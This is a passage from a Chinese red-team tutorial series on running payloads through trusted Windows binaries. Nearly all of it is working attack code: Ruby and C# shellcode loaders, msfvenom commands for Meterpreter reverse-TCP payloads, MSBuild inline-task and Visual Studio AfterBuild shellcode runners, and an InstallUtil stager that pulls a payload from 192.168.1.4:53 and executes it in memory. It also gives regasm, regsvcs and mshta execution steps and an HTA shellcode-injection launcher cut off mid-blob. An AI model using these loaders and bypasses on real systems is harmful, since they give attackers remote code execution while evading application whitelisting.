            VirtualFree(handle, 0, MEM_RELEASE);
        }
}
    [DllImport("Kernel32.dll", EntryPoint = "VirtualAlloc")]
    public static extern IntPtr VirtualAlloc(IntPtr address, int size, ui
ntallocType, uint protect);
    [DllImport("Kernel32.dll", EntryPoint = "VirtualFree")]
    public static extern bool VirtualFree(IntPtr address, int size, uint
freeType);
    const uint MEM_COMMIT = 0x1000;
    const uint MEM_RESERVE = 0x2000;
    const uint PAGE_EXECUTE_READWRITE = 0x40;
    const uint MEM_RELEASE = 0x8000;
    </script>
```

68. 基于Ruby内存加载shellcode第一季

- msfvenom生成payload

```
msfvenom -p windows/messagebox TEXT=Micropoor TITLE=Micropoor -f ruby --smallest
```

- 编译ruby版shellcode

```
require 'fiddle'
require 'fiddle/import'
require 'fiddle/types'

shellcode =
"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64" +
"\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e" +
"\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60" +
"\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b" +
"\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01" +
"\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d"

include Fiddle

kernel32 = Fiddle.dlopen('kernel32')
ptr = Function.new(kernel32['VirtualAlloc'], [4,4,4,4], 4).call(0,
shellcode.size, 0x3000, 0x40)
Function.new(kernel32['VirtualProtect'], [4,4,4,4], 4).call(ptr, shellcode.size,
0, 0)

buf = Fiddle::Pointer[shellcode]

Function.new(kernel32['RtlMoveMemory'], [4, 4, 4], 4).call(ptr, buf, s
hellcode.size)
thread = Function.new(kernel32['CreateThread'], [4,4,4,4,4,4],4).call(0, 0, ptr,
0, 0, 0)
Function.new(kernel32['WaitForSingleObject'], [4,4], 4).call(thread,-1)
```

71. 基于白名单Msbuild.exe执行payload第一季

- WIN 7

```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
```

- msfvenom生成shellcode

```
msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_tcp
LHOST=192.168.5.99 LPORT=10129 -f csharp
```

- executes shellcode.xml

```
<Project ToolsVersion="4.0"
xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <!-- This inline task executes shellcode. -->
  <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
SimpleTasks.csproj -->
  <!-- Save This File And Execute The Above Command -->
  <!-- Author: Casey Smith, Twitter: @subTee -->
  <!-- License: BSD 3-Clause -->
  <Target Name="Hello">
    <ClassExample />
  </Target>
  <UsingTask
    TaskName="ClassExample"
```

```
    TaskFactory="CodeTaskFactory"

AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Task
s.v4.0.dll" >
    <Task>

      <Code Type="Class" Language="cs">
      <![CDATA[
        using System;
        using System.Runtime.InteropServices;
        using Microsoft.Build.Framework;
        using Microsoft.Build.Utilities;
        public class ClassExample :  Task, ITask
        {
          private static UInt32 MEM_COMMIT = 0x1000;
          private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
          [DllImport("kernel32")]
            private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
            UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
          [DllImport("kernel32")]
            private static extern IntPtr CreateThread(
            UInt32 lpThreadAttributes,
            UInt32 dwStackSize,
            UInt32 lpStartAddress,
            IntPtr param,
            UInt32 dwCreationFlags,
            ref UInt32 lpThreadId
            );
          [DllImport("kernel32")]
            private static extern UInt32 WaitForSingleObject(
            IntPtr hHandle,
            UInt32 dwMilliseconds
            );
          public override bool Execute()
          {
            byte[] shellcode = new byte[195] {

0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,

0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,

0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,

0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,

0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,

0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,

0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,

0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,

0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,

0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,

0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,
```

```
0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,

0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x20,0x63,0x00 };

              UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
                MEM_COMMIT, PAGE_EXECUTE_READWRITE);
              Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
              IntPtr hThread = IntPtr.Zero;
              UInt32 threadId = 0;
              IntPtr pinfo = IntPtr.Zero;
              hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
              WaitForSingleObject(hThread, 0xFFFFFFFF);
              return true;
            }
          }
        ]]>
        </Code>
    </Task>
  </UsingTask>
</Project>
```

- executes x64 shellcode.xml

```
<Project ToolsVersion="4.0"
xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <!-- This inline task executes x64 shellcode. -->
  <!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe
SimpleTasks.csproj -->
  <!-- Save This File And Execute The Above Command -->
  <!-- Author: Casey Smith, Twitter: @subTee -->
  <!-- License: BSD 3-Clause -->
  <Target Name="Hello">
    <ClassExample />
  </Target>
  <UsingTask
    TaskName="ClassExample"
    TaskFactory="CodeTaskFactory"

AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Task
s.v4.0.dll" >
    <Task>

      <Code Type="Class" Language="cs">
      <![CDATA[
        using System;
        using System.Runtime.InteropServices;
        using Microsoft.Build.Framework;
        using Microsoft.Build.Utilities;
        public class ClassExample :  Task, ITask
        {
          private static UInt32 MEM_COMMIT = 0x1000;
          private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
          [DllImport("kernel32")]
            private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
            UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
          [DllImport("kernel32")]
```

```
            private static extern IntPtr CreateThread(
            UInt32 lpThreadAttributes,
            UInt32 dwStackSize,
            UInt32 lpStartAddress,
            IntPtr param,
            UInt32 dwCreationFlags,
            ref UInt32 lpThreadId
            );
          [DllImport("kernel32")]
            private static extern UInt32 WaitForSingleObject(
            IntPtr hHandle,
            UInt32 dwMilliseconds
            );
          public override bool Execute()
          {
            byte[] shellcode = new byte[276] {

0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,

0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,

0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,

0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,

0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,

0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,

0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,

0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,

0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,

0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,

0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,

0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,

0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,

0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,

0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,

0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,

0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,

0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
              0x63,0x2e,0x65,0x78,0x65,0x00 };

              UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
                MEM_COMMIT, PAGE_EXECUTE_READWRITE);
              Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
              IntPtr hThread = IntPtr.Zero;
```

```
              UInt32 threadId = 0;
              IntPtr pinfo = IntPtr.Zero;
              hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
              WaitForSingleObject(hThread, 0xFFFFFFFF);
              return true;
          }
        }
      ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>
```

- executes PowerShellCommands.xml

```
<Project ToolsVersion="4.0"
xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <!-- This inline task executes c# code. -->
  <!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe pshell.xml --
>
   <!-- Author: Casey Smith, Twitter: @subTee -->
  <!-- License: BSD 3-Clause -->
  <Target Name="Hello">
   <FragmentExample />
   <ClassExample />
  </Target>
  <UsingTask
    TaskName="FragmentExample"
    TaskFactory="CodeTaskFactory"

AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Task
s.v4.0.dll" >
    <ParameterGroup/>
    <Task>
      <Using Namespace="System" />
      <Using Namespace="System.IO" />
      <Code Type="Fragment" Language="cs">
        <![CDATA[
                Console.WriteLine("Hello From Fragment");
        ]]>
      </Code>
    </Task>
    </UsingTask>
    <UsingTask
    TaskName="ClassExample"
    TaskFactory="CodeTaskFactory"

AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Task
s.v4.0.dll" >
    <Task>
      <Reference Include="System.Management.Automation" />
      <Code Type="Class" Language="cs">
        <![CDATA[

            using System;
            using System.IO;
            using System.Diagnostics;
```

```
using System.Reflection;
using System.Runtime.InteropServices;
//Add For PowerShell Invocation
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Text;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;

public class ClassExample :  Task, ITask
{
    public override bool Execute()
    {

        while(true)
        {

            Console.Write("PS >");
            string x = Console.ReadLine();
            try
            {
                Console.WriteLine(RunPSCommand(x));
            }
            catch (Exception e)
            {
                Console.WriteLine(e.Message);
            }
        }

                    return true;
    }

    //Based on Jared Atkinson's And Justin Warner's Work
    public static string RunPSCommand(string cmd)
    {
        //Init stuff
        Runspace runspace = RunspaceFactory.CreateRunspace();
        runspace.Open();
        RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);
        Pipeline pipeline = runspace.CreatePipeline();
        //Add commands
        pipeline.Commands.AddScript(cmd);
        //Prep PS for string output and invoke
        pipeline.Commands.Add("Out-String");
        Collection<PSObject> results = pipeline.Invoke();
        runspace.Close();
        //Convert records to strings
        StringBuilder stringBuilder = new StringBuilder();
        foreach (PSObject obj in results)
        {
            stringBuilder.Append(obj);
        }
        return stringBuilder.ToString().Trim();
     }

     public static void RunPSFile(string script)
    {
```

```
                    PowerShell ps = PowerShell.Create();
                    ps.AddScript(script).Invoke();
                }


            }




        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>
```

- executes shellcode when visual studio is afterBuild.csproj

```
<!-- This inline task executes shellcode when visual studio is afterbuild. -->
<!-- Add the following code into the .csproj file -->
<!-- License: BSD 3-Clause -->

<Target Name="AfterBuild">
    <ClassExample />
  </Target>
  <UsingTask
    TaskName="ClassExample"
    TaskFactory="CodeTaskFactory"

AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Task
s.v4.0.dll" >
    <Task>

      <Code Type="Class" Language="cs">
      <![CDATA[
        using System;
        using System.Runtime.InteropServices;
        using Microsoft.Build.Framework;
        using Microsoft.Build.Utilities;
        public class ClassExample :  Task, ITask
        {
          private static UInt32 MEM_COMMIT = 0x1000;
          private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
          [DllImport("kernel32")]
            private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
            UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
          [DllImport("kernel32")]
            private static extern IntPtr CreateThread(
            UInt32 lpThreadAttributes,
            UInt32 dwStackSize,
            UInt32 lpStartAddress,
            IntPtr param,
            UInt32 dwCreationFlags,
            ref UInt32 lpThreadId
            );
          [DllImport("kernel32")]
            private static extern UInt32 WaitForSingleObject(
```

```
            IntPtr hHandle,
            UInt32 dwMilliseconds
            );
          public override bool Execute()
          {
            byte[] shellcode = new byte[195] {

0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,

0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,

0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,

0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,

0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,

0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,

0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,

0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,

0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,

0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,

0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,

0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,

0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x20,0x63,0x00 };

              UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
                MEM_COMMIT, PAGE_EXECUTE_READWRITE);
              Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
              IntPtr hThread = IntPtr.Zero;
              UInt32 threadId = 0;
              IntPtr pinfo = IntPtr.Zero;
              hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
              WaitForSingleObject(hThread, 0xFFFFFFFF);
              return true;
          }
        }
      ]]>
      </Code>
    </Task>
  </UsingTask>
```

72. 基于白名单Installutil.exe执行payload第二季

- Windows 7 默认位置

```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
```

- 靶机编译

```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.Ente
rpriseServices.dll /r:System.IO.Compression.dll /target:library
/out:Micropoor.exe /keyfile:C:\Users\John\Desktop\installutil.snk /unsafe
C:\Users\John\Desktop\installutil.cs
```

- 靶机执行

```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile=
/LogToConsole=false /U Micropoor.exe
```

- 附录：Micropoor.cs

```
using System;
using System.Net;
using System.Linq;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Threading;
using System.Configuration.Install;
using System.Windows.Forms;

public class GQLBigHgUniLuVx {
    public static void Main()
    {
        while(true)
        {{ MessageBox.Show("doge"); Console.ReadLine();}}
    }
}
[System.ComponentModel.RunInstaller(true)]

public class esxWUYUTWShqW : System.Configuration.Install.Installer
{
    public override void Uninstall(System.Collections.IDictionary zWrdFAUHmunnu)
    {
        jkmhGrfzsKQeCG.LCIUtRN();
    }
}
public class jkmhGrfzsKQeCG
{
    [DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UInt32
YUtHhF,UInt32 VenifEUR, UInt32 NIHbxnOmrgiBGL, UInt32 KIheHEUxhAfOI);
    [DllImport("kernel32")]private static extern IntPtr CreateThread(UInt32
GDmElasSZbx, UInt32 rGECFEZG, UInt32 UyBSrAIp,IntPtr sPEeJlufmodo, UInt32
jmzHRQU, ref UInt32 SnpQPGMvDbMOGmn);
    [DllImport("kernel32")] private static extern UInt32
WaitForSingleObject(IntPtr pRIwbzTTS, UInt32 eRLAWWYQnq);
    static byte[] ErlgHH(string ZwznjBJY, int KsMEeo)
    {
        IPEndPoint qAmSXHOKCbGlysd = new IPEndPoint(IPAddress.Parse(ZwznjBJY),
KsMEeo);
        Socket XXxIoIXNCle = new Socket(AddressFamily.InterNetwork,
SocketType.Stream, ProtocolType.Tcp);
        try
        {
            XXxIoIXNCle.Connect(qAmSXHOKCbGlysd);
        }
```

```
        catch { return null;}
        byte[] UmquAHRnhhpuE = new byte[4];
        XXxIoIXNCle.Receive(UmquAHRnhhpuE, 4, 0);
        int kFVRSNnpj = BitConverter.ToInt32(UmquAHRnhhpuE, 0);
        byte[] qaYyFq = new byte[kFVRSNnpj + 5];

        int SRCDELibA = 0;
        while (SRCDELibA < kFVRSNnpj)
        { SRCDELibA += XXxIoIXNCle.Receive(qaYyFq, SRCDELibA + 5, (kFVRSNnpj -
SRCDELibA) < 4096 ? (kFVRSNnpj - SRCDELibA) : 4096, 0);}
        byte[] TvvzOgPLqwcFFv = BitConverter.GetBytes((int)XXxIoIXNCle.Handle);
        Array.Copy(TvvzOgPLqwcFFv, 0, qaYyFq, 1, 4); qaYyFq[0] = 0xBF;
        return qaYyFq;
    }
    static void cmMtjerv(byte[] HEHUjJhkrNS)
    {
        if (HEHUjJhkrNS != null)
        {
            UInt32 WcpKfU = VirtualAlloc(0, (UInt32)HEHUjJhkrNS.Length, 0x1000,
0x40);
            Marshal.Copy(HEHUjJhkrNS, 0, (IntPtr)(WcpKfU), HEHUjJhkrNS.Length);
            IntPtr UhxtIFnlOQatrk = IntPtr.Zero;
            UInt32 wdjYKFDCCf = 0;
            IntPtr XVYcQxpp = IntPtr.Zero;
            UhxtIFnlOQatrk = CreateThread(0, 0, WcpKfU, XVYcQxpp, 0, ref
wdjYKFDCCf);
            WaitForSingleObject(UhxtIFnlOQatrk, 0xFFFFFFFF);
        }
    }
    public static void LCIUtRN()
    {
        byte[] IBtCWU = null; IBtCWU = ErlgHH("192.168.1.4", 53);
        cmMtjerv(IBtCWU);
    }
}
```

73. 基于白名单Regasm.exe执行payload第三季

- Windows 7 默认位置

```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe
```

- 靶机执行

```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U Micropoor.dll
```

74. 基于白名单Regsvcs.exe执行payload第四季

- Windows 7 默认位置

```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
```

- 靶机执行

```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe Micropoor.dll
```

75. 基于白名单Mshta.exe执行payload第五季

- Windows 7 默认位置

```
C:\Windows\System32\mshta.exe
C:\Windows\SysWOW64\mshta.exe
```

- **配置payload**

```
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp
LHOST=192.16 8.1.4 LPORT=53 -f raw > shellcode.bin
```

```
cat shellcode.bin |base64 -w 0
// 替换Hta中Dim code : code部分
```

- **靶机执行**

```
mshta.exe http://192.168.1.4/Micropoor.hta
```

- **Micropoor.hta**

```
<script language="VBScript">
'                                   (               )  (            )
'   (    (       (    *   )      )\ )  *   ) ( /(  )\ )  (   ( /(
'   )\   )\      )\ ` )  /(   ( (()/(` )  /( )\())(()/(  )\  )\())
' (((_|(((_)(  (((_) ( )(_))  )\ /(_))( )(_)|(_)\  /(_)|((_)((_)\
' )\___)\ _ )\ )\___(_(_()_ ((_|_)) (_(_())  ((_)(_)) )\___ _((_)
'((/ __(_)_\(_|(/ __|_   _| | | / __||_   _| / _ \| _ ((/ __| || |
' | (__ / _ \  | (__  | | | |_| \__ \  | |  | (_) |   /| (__| __ |
'  \___/_/ \_\  \___| |_|  \___/|___/  |_|   \___/|_|_\ \___|_||_|
'
' Author: Vincent Yiu (@vysecurity)
' Credits:
'   - @cn33liz: Inspiration with StarFighter
'   - @tiraniddo: James Forshaw for DotNet2JScript
'   - @armitagehacker: Raphael Mudge for idea of selecting 32 bit version on 64
bit architecture machines for injection into

' A HTA shellcode launcher. This will spawn a 32 bit version of the binary
specified and inject shellcode into it.

' Usage:
' Choose a binary you want to inject into, default "rundll32.exe", you can use
notepad.exe, calc.exe for example...
' Generate a 32 bit raw shellcode in whatever framework you want. Tested: Cobalt
Strike, Metasploit Framework
' Run: cat payload.bin | base64 -w 0
' Copy the base64 encoded payload into the code variable below.

' Replace with binary name that you want to inject into. This can be anything
that exists both in SYSWOW64 and SYSTEM32
```

```
Dim binary : binary = "rundll32.exe"

' Base64 encoded 32 bit shellcode
Dim code : code =
"TVroAAAAAFtSRVWJ5YHDcoAAAP/TicNXaAQAAABQ/9Bo8LWiVmgFAAAAUP/TAAAAAAAAAAAAAAAAAAAA
A8AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0
KJAAAAAAAAACf0hwW27NyRduzckXbs3JFZvzkRdqzckXF4fZF8rNyRcXh5OXIs3JFxeHxRVqzckX8dQl
F1LNyRduzc0UGs3JFxeH7RWKzckXF4eBF2rNyRcXh40Xas3JFUmljaNuzckUAAAAAAAAAAAAAAAAAAAA
AUEUAAEwBBQBOViNZAAAAAAAAAADgAAKhCwEJAABCAgAA4gAAAAAAFFvAQAAEAAAAGACAAAAABAAEAA
AAAIAAAUAAAAAAAAABQAAAAA"

' ---------- DO NOT EDIT BELOW HERE -----------

Sub Debug(s)
End Sub
Sub SetVersion
End Sub
Function Base64ToStream(b)
  Dim enc, length, ba, transform, ms
  Set enc = CreateObject("System.Text.ASCIIEncoding")
  length = enc.GetByteCount_2(b)
  Set transform =
CreateObject("System.Security.Cryptography.FromBase64Transform")
  Set ms = CreateObject("System.IO.MemoryStream")
  ms.Write transform.TransformFinalBlock(enc.GetBytes_4(b), 0, length), 0,
((length / 4) * 3)
  ms.Position = 0
  Set Base64ToStream = ms
End Function

Sub Run
Dim s, entry_class
s =
"AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"
s = s &
"AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph"
s = s &
"dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk"
s = s &
"ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkD"
s = s &
"AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRl"
s = s &
"RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRU"
s = s &
"eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNl"
s = s &
"cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW9O"
s = s &
"aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAu"
s = s &
"MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAAAH"
s = s &
"dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAwAA"
s = s &
"ACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQw"
s = s &
"B21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVu"
```

```
s = s &
"dHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkLAAAA"
s = s &
"CQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9u"
s = s &
"SG9sZGVyBgAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlCk1lbWJlclR5"
s = s &
"cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEAAwgNU3lzdGVtLlR5cGVbXQkKAAAACQYAAAAJCQAAAAYR"
s = s &
"AAAALFN5c3RlbS5PYmplY3QgRHluYW1pY0ludm9rZShTeXN0ZW0uT2JqZWN0W10pCAAAAAoBCwAA"
s = s &
"AAIAAAAGEgAAACBTeXN0ZW0uWG1sLlNjaGVtYS5YbWxWYWx1ZUdldHRlcgYTAAAATVN5c3RlbS5Y"
s = s &
"bWwsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdh"
s = s &
"NWM1NjE5MzRlMDg5BhQAAAAHdGFyZ2V0MAkGAAAABhYAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNz"
s = s &
"Zw1ibHkGFwAAAARMb2FkCg8MAAAAAB4AAAJNWpAAAwAAAAQAAAD//wAAuAAAAAAAAABAAAAAAAAA"
s = s &
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAADh+6DgC0Cc0huAFMzSFUaGlzIHByb2dy"
s = s &
"YW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZS4NDQokAAAAAAAAAFBFAABMAQMAkNhXWQAAAAAA"
s = s &
"AAAA4AAiIAsBMAAAFgAAAAYAAAAAAAByNQAAACAAAABAAAAAAAAQACAAAAACAAAEAAAAAAAAAAQA"
s = s &
"AAAAAAAAAIAAAAACAAAAAAAAAwBAhQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAIDUA"
s = s &
"AE8AAAAAQAAAkAMAAAAAAAAAAAAAAAAAAAAAAAAAAYAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s &
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAIAAAAAAAAAAAAAAAIIAAASAAAAAAAAAAA"
s = s &
"AAAALnRleHQAAAB4FQAAACAAAAAWAAAAAgAAAAAAAAAAAAAAAAAIAAAYC5yc3JjAAAAkAMAAABA"
s = s &
"AAAABAAAABgAAAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAAAwAAAAAYAAAAAIAAAAcAAAAAAAAAAA"
s = s &
"AAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAFQ1AAAAAAAASAAAAAIABQD4IQAAKBMAAAEAAAAAAAAA"
s = s &
